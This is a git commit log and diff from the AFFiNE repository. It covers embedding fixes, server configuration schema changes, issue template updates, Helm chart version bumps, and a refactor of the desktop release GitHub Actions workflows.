65f679c4f0 fix(server): frequent embedding (#13475)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
- Smarter embedding pipeline skips re-embedding when content hasn’t
changed; added content sanitization for embeddings and workspace content
retrieval.
- Bug Fixes
- Re-embedding now requires both a document update and the last
embedding being older than 10 minutes, reducing unnecessary work.
- Refactor
- Consolidated embedding preprocessing and moved sanitization utilities
into shared models; upserts now refresh stored content.
- Tests
- Expanded snapshot-based tests covering multiple time/age scenarios for
embedding decision logic.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-12 01:45:41 +00:00
DarkSky
125564b7d2 fix(server): improve outdated embedding cleanup (#13476)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Prevents accidental deletion of placeholder documents during embedding
cleanup.
* Improves accuracy when identifying documents to remove, using multiple
data sources.
* Skips unnecessary cleanup when no embeddings or snapshots exist,
reducing noise and overhead.
* **Chores**
* Streamlined and centralized document filtering logic to ensure
consistent cleanup behavior.
* Parallelized data checks to make cleanup more efficient without
changing user workflows.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-12 01:20:21 +00:00
Wu Yue
aa20e7ba66 fix(core): copilot tool restore (#13470)
Close [AI-410](https://linear.app/affine-design/issue/AI-410)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
  - None

- Bug Fixes
- Middle-click panning now reliably returns to the previously active
tool, including after using Copilot or frame navigation.
- Smoother, more responsive transition into panning to reduce accidental
selections.

- Refactor
- Simplified AI panel click-outside handling with no change to
user-visible behavior.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-11 15:52:50 +00:00
德布劳外 · 贾贵
01e8458075 refactor(core): add selected chip synchronously (#13469)
> CLOSE PD-2698

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- **Refactor**
- Optimized context chip handling in the AI chat composer to process
additions concurrently.
- Improves responsiveness when adding multiple documents or attachments
as context, reducing wait times and making the composing experience
smoother.
- No changes to visible functionality; users should notice faster
updates when selecting several items at once.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-11 09:42:18 +00:00
Wu Yue
0d9f6770bf fix(core): right click on edgeless will also damage other functions (#13466)
Close [AI-411](https://linear.app/affine-design/issue/AI-411)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- Bug Fixes
- Releasing the mouse now always ends panning, preventing stuck states.
  - Actions cancel correctly when you release without dragging.

- Refactor
- More consistent Copilot activation: use right-click or Ctrl (⌘ on Mac)
+ left-click.
- Smoother switching to Copilot with improved drag-state reset and
cleanup.
- Removed automatic restoration of previous selection when activating
Copilot.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-11 08:11:21 +00:00
L-Sun
5ef81ba74b chore(ios): disable dom renderer (#13462)
#### PR Dependency Tree


* **PR #13462** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Chores**
* Updated default configuration: The DOM-based renderer is now disabled
by default on all platforms. Previously, it was enabled by default on
iOS. This change standardizes the out-of-the-box experience across
devices. If you rely on the DOM renderer, you can still enable it via
feature flags in your environment or settings.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-11 05:03:18 +00:00
DarkSky
4ffa3b5ccc fix(server): fulfill empty embedding for trashed docs (#13461)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- New Features
  - None
- Bug Fixes
- Ensures a placeholder embedding is always created when content is
empty or after deletion, reducing errors and improving Copilot
stability.
- Refactor
- Centralized empty-embedding handling for consistent behavior across
workflows.
- Standardized embedding dimension configuration to a single source for
reliability.
- Chores
- Simplified internal embedding module surface and imports for
maintainability.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-11 03:23:45 +00:00
fengmk2
07b9b4fb8d chore: use latest oxlint version (#13457)
oxlint-tsgolint install fails had been fixed

see https://github.com/oxc-project/oxc/issues/12892



#### PR Dependency Tree


* **PR #13457** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Chores**
* Updated the version range for a development dependency to allow for
newer compatible releases.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-11 03:09:39 +00:00
1194 changed files with 96009 additions and 15066 deletions

View File

@@ -5,7 +5,14 @@ rustflags = ["-C", "target-feature=+crt-static"]
[target.'cfg(target_os = "linux")']
rustflags = ["-C", "link-args=-Wl,--warn-unresolved-symbols"]
[target.'cfg(target_os = "macos")']
rustflags = ["-C", "link-args=-Wl,-undefined,dynamic_lookup,-no_fixup_chains", "-C", "link-args=-all_load", "-C", "link-args=-weak_framework ScreenCaptureKit"]
rustflags = [
"-C",
"link-args=-Wl,-undefined,dynamic_lookup,-no_fixup_chains",
"-C",
"link-args=-all_load",
"-C",
"link-args=-weak_framework ScreenCaptureKit",
]
# https://sourceware.org/bugzilla/show_bug.cgi?id=21032
# https://sourceware.org/bugzilla/show_bug.cgi?id=21031
# https://github.com/rust-lang/rust/issues/134820

View File

@@ -6,7 +6,6 @@ yarn install
# Build Server Dependencies
yarn affine @affine/server-native build
yarn affine @affine/reader build
# Create database
yarn affine @affine/server prisma migrate reset -f

View File

@@ -2,6 +2,8 @@ version: '3.8'
services:
app:
security_opt:
- no-new-privileges:true
image: mcr.microsoft.com/devcontainers/base:bookworm
volumes:
- ../..:/workspaces:cached

View File

@@ -148,6 +148,11 @@
"description": "Whether allow new registrations.\n@default true",
"default": true
},
"allowSignupForOauth": {
"type": "boolean",
"description": "Whether allow new registrations via configured oauth.\n@default true",
"default": true
},
"requireEmailDomainVerification": {
"type": "boolean",
"description": "Whether require email domain record verification before accessing restricted resources.\n@default false",
@@ -190,6 +195,11 @@
"type": "object",
"description": "Configuration for mailer module",
"properties": {
"SMTP.name": {
"type": "string",
"description": "Name of the email server (e.g. your domain name)\n@default \"AFFiNE Server\"\n@environment `MAILER_SERVERNAME`",
"default": "AFFiNE Server"
},
"SMTP.host": {
"type": "string",
"description": "Host of the email server (e.g. smtp.gmail.com)\n@default \"\"\n@environment `MAILER_HOST`",
@@ -212,12 +222,12 @@
},
"SMTP.sender": {
"type": "string",
"description": "Sender of all the emails (e.g. \"AFFiNE Team <noreply@affine.pro>\")\n@default \"\"\n@environment `MAILER_SENDER`",
"default": ""
"description": "Sender of all the emails (e.g. \"AFFiNE Self Hosted <noreply@example.com>\")\n@default \"AFFiNE Self Hosted <noreply@example.com>\"\n@environment `MAILER_SENDER`",
"default": "AFFiNE Self Hosted <noreply@example.com>"
},
"SMTP.ignoreTLS": {
"type": "boolean",
"description": "Whether ignore email server's TSL certification verification. Enable it for self-signed certificates.\n@default false\n@environment `MAILER_IGNORE_TLS`",
"description": "Whether ignore email server's TLS certificate verification. Enable it for self-signed certificates.\n@default false\n@environment `MAILER_IGNORE_TLS`",
"default": false
},
"fallbackDomains": {
@@ -225,6 +235,11 @@
"description": "The emails from these domains are always sent using the fallback SMTP server.\n@default []",
"default": []
},
"fallbackSMTP.name": {
"type": "string",
"description": "Name of the fallback email server (e.g. your domain name)\n@default \"AFFiNE Server\"",
"default": "AFFiNE Server"
},
"fallbackSMTP.host": {
"type": "string",
"description": "Host of the email server (e.g. smtp.gmail.com)\n@default \"\"",
@@ -247,12 +262,12 @@
},
"fallbackSMTP.sender": {
"type": "string",
"description": "Sender of all the emails (e.g. \"AFFiNE Team <noreply@affine.pro>\")\n@default \"\"",
"description": "Sender of all the emails (e.g. \"AFFiNE Self Hosted <noreply@example.com>\")\n@default \"\"",
"default": ""
},
"fallbackSMTP.ignoreTLS": {
"type": "boolean",
"description": "Whether ignore email server's TSL certification verification. Enable it for self-signed certificates.\n@default false",
"description": "Whether ignore email server's TLS certificate verification. Enable it for self-signed certificates.\n@default false",
"default": false
}
}
@@ -382,7 +397,7 @@
},
"urlPrefix": {
"type": "string",
"description": "The presigned url prefix for the cloudflare r2 storage provider.\nsee https://developers.cloudflare.com/waf/custom-rules/use-cases/configure-token-authentication/ to configure it.\nExample value: \"https://storage.example.com\"\nExample rule: is_timed_hmac_valid_v0(\"your_secret\", http.request.uri, 10800, http.request.timestamp.sec, 6)"
"description": "The custom domain URL prefix for the cloudflare r2 storage provider.\nWhen `enabled=true` and `urlPrefix` + `signKey` are provided, the server will:\n- Redirect GET requests to this custom domain with an HMAC token.\n- Return upload URLs under `/api/storage/*` for uploads.\nPresigned/upload proxy TTL is 1 hour.\nsee https://developers.cloudflare.com/waf/custom-rules/use-cases/configure-token-authentication/ to configure it.\nExample value: \"https://storage.example.com\"\nExample rule: is_timed_hmac_valid_v0(\"your_secret\", http.request.uri, 10800, http.request.timestamp.sec, 6)"
},
"signKey": {
"type": "string",
@@ -503,7 +518,7 @@
},
"urlPrefix": {
"type": "string",
"description": "The presigned url prefix for the cloudflare r2 storage provider.\nsee https://developers.cloudflare.com/waf/custom-rules/use-cases/configure-token-authentication/ to configure it.\nExample value: \"https://storage.example.com\"\nExample rule: is_timed_hmac_valid_v0(\"your_secret\", http.request.uri, 10800, http.request.timestamp.sec, 6)"
"description": "The custom domain URL prefix for the cloudflare r2 storage provider.\nWhen `enabled=true` and `urlPrefix` + `signKey` are provided, the server will:\n- Redirect GET requests to this custom domain with an HMAC token.\n- Return upload URLs under `/api/storage/*` for uploads.\nPresigned/upload proxy TTL is 1 hour.\nsee https://developers.cloudflare.com/waf/custom-rules/use-cases/configure-token-authentication/ to configure it.\nExample value: \"https://storage.example.com\"\nExample rule: is_timed_hmac_valid_v0(\"your_secret\", http.request.uri, 10800, http.request.timestamp.sec, 6)"
},
"signKey": {
"type": "string",
@@ -596,11 +611,6 @@
"type": "object",
"description": "Configuration for flags module",
"properties": {
"earlyAccessControl": {
"type": "boolean",
"description": "Only allow users with early access features to access the app\n@default false",
"default": false
},
"allowGuestDemoWorkspace": {
"type": "boolean",
"description": "Whether allow guest users to create demo workspaces.\n@default true",
@@ -669,18 +679,18 @@
},
"scenarios": {
"type": "object",
"description": "Use custom models in scenarios and override default settings.\n@default {\"override_enabled\":false,\"scenarios\":{\"audio_transcribing\":\"gemini-2.5-flash\",\"chat\":\"claude-sonnet-4@20250514\",\"embedding\":\"gemini-embedding-001\",\"image\":\"gpt-image-1\",\"rerank\":\"gpt-4.1\",\"coding\":\"claude-sonnet-4@20250514\",\"complex_text_generation\":\"gpt-4o-2024-08-06\",\"quick_decision_making\":\"gpt-4.1-mini\",\"quick_text_generation\":\"gemini-2.5-flash\",\"polish_and_summarize\":\"gemini-2.5-flash\"}}",
"description": "Use custom models in scenarios and override default settings.\n@default {\"override_enabled\":false,\"scenarios\":{\"audio_transcribing\":\"gemini-2.5-flash\",\"chat\":\"gemini-2.5-flash\",\"embedding\":\"gemini-embedding-001\",\"image\":\"gpt-image-1\",\"rerank\":\"gpt-4.1\",\"coding\":\"claude-sonnet-4-5@20250929\",\"complex_text_generation\":\"gpt-4o-2024-08-06\",\"quick_decision_making\":\"gpt-5-mini\",\"quick_text_generation\":\"gemini-2.5-flash\",\"polish_and_summarize\":\"gemini-2.5-flash\"}}",
"default": {
"override_enabled": false,
"scenarios": {
"audio_transcribing": "gemini-2.5-flash",
"chat": "claude-sonnet-4@20250514",
"chat": "gemini-2.5-flash",
"embedding": "gemini-embedding-001",
"image": "gpt-image-1",
"rerank": "gpt-4.1",
"coding": "claude-sonnet-4@20250514",
"coding": "claude-sonnet-4-5@20250929",
"complex_text_generation": "gpt-4o-2024-08-06",
"quick_decision_making": "gpt-4.1-mini",
"quick_decision_making": "gpt-5-mini",
"quick_text_generation": "gemini-2.5-flash",
"polish_and_summarize": "gemini-2.5-flash"
}
@@ -913,7 +923,7 @@
},
"urlPrefix": {
"type": "string",
"description": "The presigned url prefix for the cloudflare r2 storage provider.\nsee https://developers.cloudflare.com/waf/custom-rules/use-cases/configure-token-authentication/ to configure it.\nExample value: \"https://storage.example.com\"\nExample rule: is_timed_hmac_valid_v0(\"your_secret\", http.request.uri, 10800, http.request.timestamp.sec, 6)"
"description": "The custom domain URL prefix for the cloudflare r2 storage provider.\nWhen `enabled=true` and `urlPrefix` + `signKey` are provided, the server will:\n- Redirect GET requests to this custom domain with an HMAC token.\n- Return upload URLs under `/api/storage/*` for uploads.\nPresigned/upload proxy TTL is 1 hour.\nsee https://developers.cloudflare.com/waf/custom-rules/use-cases/configure-token-authentication/ to configure it.\nExample value: \"https://storage.example.com\"\nExample rule: is_timed_hmac_valid_v0(\"your_secret\", http.request.uri, 10800, http.request.timestamp.sec, 6)"
},
"signKey": {
"type": "string",
@@ -1093,18 +1103,33 @@
},
"apiKey": {
"type": "string",
"description": "Stripe API key to enable payment service.\n@default \"\"\n@environment `STRIPE_API_KEY`",
"description": "[Deprecated] Stripe API key. Use payment.stripe.apiKey instead.\n@default \"\"\n@environment `STRIPE_API_KEY`",
"default": ""
},
"webhookKey": {
"type": "string",
"description": "Stripe webhook key to enable payment service.\n@default \"\"\n@environment `STRIPE_WEBHOOK_KEY`",
"description": "[Deprecated] Stripe webhook key. Use payment.stripe.webhookKey instead.\n@default \"\"\n@environment `STRIPE_WEBHOOK_KEY`",
"default": ""
},
"stripe": {
"type": "object",
"description": "Stripe sdk options\n@default {}\n@link https://docs.stripe.com/api",
"default": {}
"description": "Stripe sdk options and credentials\n@default {\"apiKey\":\"\",\"webhookKey\":\"\"}\n@link https://docs.stripe.com/api",
"default": {
"apiKey": "",
"webhookKey": ""
}
},
"revenuecat": {
"type": "object",
"description": "RevenueCat integration configs\n@default {\"enabled\":false,\"apiKey\":\"\",\"projectId\":\"\",\"webhookAuth\":\"\",\"environment\":\"production\",\"productMap\":{}}\n@link https://www.revenuecat.com/docs/",
"default": {
"enabled": false,
"apiKey": "",
"projectId": "",
"webhookAuth": "",
"environment": "production",
"productMap": {}
}
}
}
},

View File

@@ -74,3 +74,11 @@ body:
description: |
Links? References? Anything that will give us more context about the issue you are encountering!
Tip: You can attach images here
- type: checkboxes
attributes:
label: Is your content generated by AI?
description: >
(Required) Please confirm that the content you submit was not generated by AI or only minimally edited by AI.
If an administrator believes the post contains a large amount of AI-generated content, they may directly close the question.
options:
- label: I confirm that the content I submitted was **not** generated by AI / **merely contained minimal** AI edits.

View File

@@ -35,3 +35,11 @@ body:
See the AFFiNE [Contributing Guide](https://github.com/toeverything/affine/blob/canary/CONTRIBUTING.md) to get started.
options:
- label: Yes I'd like to help by submitting a PR!
- type: checkboxes
attributes:
label: Is your content generated by AI?
description: >
(Required) Please confirm that the content you submit was not generated by AI or only minimally edited by AI.
If an administrator believes the post contains a large amount of AI-generated content, they may directly close the question.
options:
- label: I confirm that the content I submitted was **not** generated by AI / **merely contained minimal** AI edits.

View File

@@ -75,7 +75,11 @@ runs:
shell: bash
if: ${{ runner.os != 'Windows' && inputs.no-build != 'true' }}
run: |
yarn workspace ${{ inputs.package }} build --target ${{ inputs.target }} --use-napi-cross
if [[ "${{ inputs.target }}" == "x86_64-unknown-linux-gnu" ]]; then
yarn workspace ${{ inputs.package }} build --target ${{ inputs.target }}
else
yarn workspace ${{ inputs.package }} build --target ${{ inputs.target }} --use-napi-cross
fi
env:
DEBUG: 'napi:*'

View File

@@ -4,11 +4,6 @@ description: 'Prepare Server Test Environment'
runs:
using: 'composite'
steps:
- name: Bundle @affine/reader
shell: bash
run: |
yarn affine @affine/reader build
- name: Initialize database
shell: bash
run: |

View File

@@ -3,4 +3,4 @@ name: affine
description: AFFiNE cloud chart
type: application
version: 0.0.0
appVersion: "0.22.4"
appVersion: "0.25.7"

View File

@@ -3,7 +3,7 @@ name: doc
description: AFFiNE doc server
type: application
version: 0.0.0
appVersion: "0.22.4"
appVersion: "0.25.7"
dependencies:
- name: gcloud-sql-proxy
version: 0.0.0

View File

@@ -3,7 +3,7 @@ name: graphql
description: AFFiNE GraphQL server
type: application
version: 0.0.0
appVersion: "0.22.4"
appVersion: "0.25.7"
dependencies:
- name: gcloud-sql-proxy
version: 0.0.0

View File

@@ -3,7 +3,7 @@ name: renderer
description: AFFiNE renderer server
type: application
version: 0.0.0
appVersion: "0.22.4"
appVersion: "0.25.7"
dependencies:
- name: gcloud-sql-proxy
version: 0.0.0

View File

@@ -3,7 +3,7 @@ name: sync
description: AFFiNE Sync Server
type: application
version: 0.0.0
appVersion: "0.22.4"
appVersion: "0.25.7"
dependencies:
- name: gcloud-sql-proxy
version: 0.0.0

View File

@@ -187,8 +187,6 @@ jobs:
path: ./packages/backend/native
- name: List server-native files
run: ls -alh ./packages/backend/native
- name: Build @affine/reader
run: yarn workspace @affine/reader build
- name: Build Server
run: yarn workspace @affine/server build
- name: Upload server dist

View File

@@ -19,7 +19,7 @@ env:
APP_NAME: affine
AFFINE_ENV: dev
COVERAGE: true
MACOSX_DEPLOYMENT_TARGET: '10.13'
MACOSX_DEPLOYMENT_TARGET: '11.6'
DEPLOYMENT_TYPE: affine
AFFINE_INDEXER_ENABLED: true
@@ -152,11 +152,6 @@ jobs:
name: server-native.node
path: ./packages/backend/native
- name: Bundle @affine/reader
shell: bash
run: |
yarn workspace @affine/reader build
- name: Run Check
run: |
yarn affine init
@@ -812,7 +807,7 @@ jobs:
settings:
- { target: 'x86_64-unknown-linux-gnu', os: 'ubuntu-latest' }
- { target: 'aarch64-unknown-linux-gnu', os: 'ubuntu-24.04-arm' }
- { target: 'x86_64-apple-darwin', os: 'macos-13' }
- { target: 'x86_64-apple-darwin', os: 'macos-15-intel' }
- { target: 'aarch64-apple-darwin', os: 'macos-latest' }
- { target: 'x86_64-pc-windows-msvc', os: 'windows-latest' }
- { target: 'aarch64-pc-windows-msvc', os: 'windows-11-arm' }
@@ -1356,7 +1351,7 @@ jobs:
run: |
sudo add-apt-repository universe
sudo apt install -y libfuse2 elfutils flatpak flatpak-builder
flatpak remote-add --user --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo
flatpak remote-add --user --if-not-exists flathub https://dl.flathub.org/repo/flathub.flatpakrepo
flatpak update
# some flatpak deps need git protocol.file.allow
git config --global protocol.file.allow always

View File

@@ -0,0 +1,226 @@
name: Release Desktop Platform
on:
workflow_call:
inputs:
build_type:
required: true
type: string
app_version:
required: true
type: string
git_short_hash:
required: true
type: string
runner:
required: true
type: string
platform:
required: true
type: string
arch:
required: true
type: string
target:
required: true
type: string
apple_codesign:
required: false
default: false
type: boolean
install_linux_deps:
required: false
default: false
type: boolean
enable_scripts:
required: false
default: false
type: boolean
outputs:
files_to_be_signed:
description: Files to be signed (Windows only)
value: ${{ jobs.build.outputs.files_to_be_signed }}
permissions:
actions: write
contents: write
security-events: write
id-token: write
attestations: write
jobs:
build:
runs-on: ${{ inputs.runner }}
outputs:
files_to_be_signed: ${{ steps.get_files_to_be_signed.outputs.FILES_TO_BE_SIGNED }}
env:
BUILD_TYPE: ${{ inputs.build_type }}
RELEASE_VERSION: ${{ inputs.app_version }}
DEBUG: 'affine:*,napi:*'
APP_NAME: affine
MACOSX_DEPLOYMENT_TARGET: '12.0'
SKIP_GENERATE_ASSETS: 1
APPLE_ID: ${{ secrets.APPLE_ID }}
APPLE_PASSWORD: ${{ secrets.APPLE_PASSWORD }}
APPLE_TEAM_ID: ${{ secrets.APPLE_TEAM_ID }}
SENTRY_ORG: ${{ secrets.SENTRY_ORG }}
SENTRY_PROJECT: 'affine'
SENTRY_AUTH_TOKEN: ${{ secrets.SENTRY_AUTH_TOKEN }}
SENTRY_DSN: ${{ secrets.SENTRY_DSN }}
SENTRY_RELEASE: ${{ inputs.app_version }}
MIXPANEL_TOKEN: ${{ secrets.MIXPANEL_TOKEN }}
steps:
- uses: actions/checkout@v4
- name: Setup Version
uses: ./.github/actions/setup-version
with:
app-version: ${{ inputs.app_version }}
- name: Setup Node.js
timeout-minutes: 10
uses: ./.github/actions/setup-node
with:
extra-flags: workspaces focus @affine/electron @affine/monorepo @affine/nbstore @toeverything/infra
hard-link-nm: false
nmHoistingLimits: workspaces
enableScripts: ${{ inputs.enable_scripts }}
- name: Build AFFiNE native
uses: ./.github/actions/build-rust
with:
target: ${{ inputs.target }}
package: '@affine/native'
- uses: actions/download-artifact@v4
with:
name: desktop-web
path: packages/frontend/apps/electron/resources/web-static
- name: Build Desktop Layers
run: yarn affine @affine/electron build
- name: Signing By Apple Developer ID
if: ${{ inputs.platform == 'darwin' && inputs.apple_codesign }}
uses: apple-actions/import-codesign-certs@v5
with:
p12-file-base64: ${{ secrets.CERTIFICATES_P12 }}
p12-password: ${{ secrets.CERTIFICATES_P12_PASSWORD }}
- name: Install additional dependencies on Linux
if: ${{ inputs.platform == 'linux' && inputs.install_linux_deps }}
run: |
df -h
sudo add-apt-repository universe
sudo apt install -y libfuse2 elfutils flatpak flatpak-builder
flatpak remote-add --user --if-not-exists flathub https://dl.flathub.org/repo/flathub.flatpakrepo
flatpak update
# some flatpak deps need git protocol.file.allow
git config --global protocol.file.allow always
# clean up apt cache to save disk space
sudo -E apt-get -y purge azure-cli* zulu* hhvm* llvm* firefox* google* dotnet* aspnetcore* powershell* adoptopenjdk* mysql* php* mongodb* moby* snap* || true
sudo -E apt-get -qq autoremove --purge
sudo rm -rf /usr/share/dotnet /opt/ghc /opt/hostedtoolcache/CodeQL /usr/local/lib/android
sudo apt-get clean
rm -rf ~/.cache/yarn ~/.npm
df -h
- name: Remove nbstore node_modules (darwin/linux)
if: ${{ inputs.platform != 'win32' }}
shell: bash
# node_modules of nbstore is not needed for building, and it will make the build process out of memory
run: |
cargo clean
rm -rf packages/frontend/apps/electron/node_modules/@affine/nbstore/node_modules/@blocksuite
rm -rf packages/frontend/apps/electron/node_modules/@affine/native/node_modules
- name: Remove nbstore node_modules (windows)
if: ${{ inputs.platform == 'win32' }}
shell: bash
run: |
rm -rf packages/frontend/apps/electron/node_modules/@affine/nbstore/node_modules/@blocksuite/affine/node_modules
rm -rf packages/frontend/apps/electron/node_modules/@affine/native/node_modules
- name: make
if: ${{ inputs.platform != 'win32' }}
run: yarn affine @affine/electron make --platform=${{ inputs.platform }} --arch=${{ inputs.arch }}
env:
SKIP_WEB_BUILD: 1
HOIST_NODE_MODULES: 1
NODE_OPTIONS: --max-old-space-size=14384
- name: package
if: ${{ inputs.platform == 'win32' }}
run: |
yarn affine @affine/electron package --platform=${{ inputs.platform }} --arch=${{ inputs.arch }}
env:
SKIP_WEB_BUILD: 1
HOIST_NODE_MODULES: 1
NODE_OPTIONS: --max-old-space-size=14384
- name: signing DMG
if: ${{ inputs.platform == 'darwin' && inputs.apple_codesign }}
run: |
codesign --force --sign "Developer ID Application: TOEVERYTHING PTE. LTD." packages/frontend/apps/electron/out/${{ env.BUILD_TYPE }}/make/AFFiNE.dmg
- name: Save artifacts (mac)
if: ${{ inputs.platform == 'darwin' }}
run: |
mkdir -p builds
mv packages/frontend/apps/electron/out/*/make/*.dmg ./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-macos-${{ inputs.arch }}.dmg
mv packages/frontend/apps/electron/out/*/make/zip/darwin/${{ inputs.arch }}/*.zip ./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-macos-${{ inputs.arch }}.zip
- name: Save artifacts (linux)
if: ${{ inputs.platform == 'linux' }}
run: |
mkdir -p builds
mv packages/frontend/apps/electron/out/*/make/zip/linux/${{ inputs.arch }}/*.zip ./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-${{ inputs.arch }}.zip
mv packages/frontend/apps/electron/out/*/make/*.AppImage ./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-${{ inputs.arch }}.appimage
mv packages/frontend/apps/electron/out/*/make/deb/${{ inputs.arch }}/*.deb ./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-${{ inputs.arch }}.deb
mv packages/frontend/apps/electron/out/*/make/flatpak/*/*.flatpak ./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-${{ inputs.arch }}.flatpak
- uses: actions/attest-build-provenance@v2
if: ${{ inputs.platform == 'darwin' }}
with:
subject-path: |
./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-macos-${{ inputs.arch }}.zip
./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-macos-${{ inputs.arch }}.dmg
- uses: actions/attest-build-provenance@v2
if: ${{ inputs.platform == 'linux' }}
with:
subject-path: |
./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-${{ inputs.arch }}.zip
./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-${{ inputs.arch }}.appimage
./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-${{ inputs.arch }}.deb
./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-${{ inputs.arch }}.flatpak
- name: Upload Artifact
if: ${{ inputs.platform == 'darwin' || inputs.platform == 'linux' }}
uses: actions/upload-artifact@v4
with:
name: affine-${{ inputs.platform }}-${{ inputs.arch }}-builds
path: builds
- name: get all files to be signed
id: get_files_to_be_signed
if: ${{ inputs.platform == 'win32' }}
shell: pwsh
run: |
Set-Variable -Name FILES_TO_BE_SIGNED -Value ((Get-ChildItem -Path packages/frontend/apps/electron/out -Recurse -File | Where-Object { $_.Extension -in @(".exe", ".node", ".dll", ".msi") } | ForEach-Object { '"' + $_.FullName.Replace((Get-Location).Path + '\packages\frontend\apps\electron\out\', '') + '"' }) -join ' ')
"FILES_TO_BE_SIGNED=$FILES_TO_BE_SIGNED" >> $env:GITHUB_OUTPUT
echo $FILES_TO_BE_SIGNED
- name: Zip artifacts for faster upload
if: ${{ inputs.platform == 'win32' }}
shell: pwsh
run: Compress-Archive -CompressionLevel Fastest -Path packages/frontend/apps/electron/out/* -DestinationPath archive.zip
- name: Save packaged artifacts for signing
if: ${{ inputs.platform == 'win32' }}
uses: actions/upload-artifact@v4
with:
name: packaged-${{ inputs.platform }}-${{ inputs.arch }}
path: |
archive.zip
!**/*.map

View File

@@ -12,6 +12,21 @@ on:
git-short-hash:
required: true
type: string
desktop_macos:
description: 'Desktop - macOS'
required: false
default: true
type: boolean
desktop_windows:
description: 'Desktop - Windows'
required: false
default: true
type: boolean
desktop_linux:
description: 'Desktop - Linux'
required: false
default: true
type: boolean
permissions:
actions: write
@@ -25,10 +40,11 @@ env:
RELEASE_VERSION: ${{ inputs.app-version }}
DEBUG: 'affine:*,napi:*'
APP_NAME: affine
MACOSX_DEPLOYMENT_TARGET: '10.13'
MACOSX_DEPLOYMENT_TARGET: '11.6'
jobs:
before-make:
if: ${{ inputs.desktop_macos || inputs.desktop_windows || inputs.desktop_linux }}
runs-on: ubuntu-latest
environment: ${{ inputs.build-type }}
steps:
@@ -58,7 +74,8 @@ jobs:
name: desktop-web
path: packages/frontend/apps/electron/resources/web-static
make-distribution:
make-distribution-macos:
if: ${{ inputs.desktop_macos }}
strategy:
fail-fast: false
matrix:
@@ -71,223 +88,90 @@ jobs:
platform: darwin
arch: arm64
target: aarch64-apple-darwin
- runner: ubuntu-latest
platform: linux
arch: x64
target: x86_64-unknown-linux-gnu
runs-on: ${{ matrix.spec.runner }}
needs: before-make
environment: ${{ inputs.build-type }}
env:
APPLE_ID: ${{ secrets.APPLE_ID }}
APPLE_PASSWORD: ${{ secrets.APPLE_PASSWORD }}
APPLE_TEAM_ID: ${{ secrets.APPLE_TEAM_ID }}
SKIP_GENERATE_ASSETS: 1
SENTRY_ORG: ${{ secrets.SENTRY_ORG }}
SENTRY_PROJECT: 'affine'
SENTRY_AUTH_TOKEN: ${{ secrets.SENTRY_AUTH_TOKEN }}
SENTRY_DSN: ${{ secrets.SENTRY_DSN }}
SENTRY_RELEASE: ${{ inputs.app-version }}
MIXPANEL_TOKEN: ${{ secrets.MIXPANEL_TOKEN }}
steps:
- uses: actions/checkout@v4
- name: Setup Version
uses: ./.github/actions/setup-version
with:
app-version: ${{ inputs.app-version }}
- name: Setup Node.js
timeout-minutes: 10
uses: ./.github/actions/setup-node
with:
extra-flags: workspaces focus @affine/electron @affine/monorepo @affine/nbstore @toeverything/infra
hard-link-nm: false
nmHoistingLimits: workspaces
enableScripts: false
- name: Build AFFiNE native
uses: ./.github/actions/build-rust
with:
target: ${{ matrix.spec.target }}
package: '@affine/native'
- uses: actions/download-artifact@v4
with:
name: desktop-web
path: packages/frontend/apps/electron/resources/web-static
uses: ./.github/workflows/release-desktop-platform.yml
secrets: inherit
with:
build_type: ${{ inputs.build-type }}
app_version: ${{ inputs.app-version }}
git_short_hash: ${{ inputs.git-short-hash }}
runner: ${{ matrix.spec.runner }}
platform: ${{ matrix.spec.platform }}
arch: ${{ matrix.spec.arch }}
target: ${{ matrix.spec.target }}
apple_codesign: true
- name: Build Desktop Layers
run: yarn affine @affine/electron build
- name: Signing By Apple Developer ID
if: ${{ matrix.spec.platform == 'darwin' }}
uses: apple-actions/import-codesign-certs@v5
with:
p12-file-base64: ${{ secrets.CERTIFICATES_P12 }}
p12-password: ${{ secrets.CERTIFICATES_P12_PASSWORD }}
- name: Install additional dependencies on Linux
if: ${{ matrix.spec.platform == 'linux' }}
run: |
sudo add-apt-repository universe
sudo apt install -y libfuse2 elfutils flatpak flatpak-builder
flatpak remote-add --user --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo
flatpak update
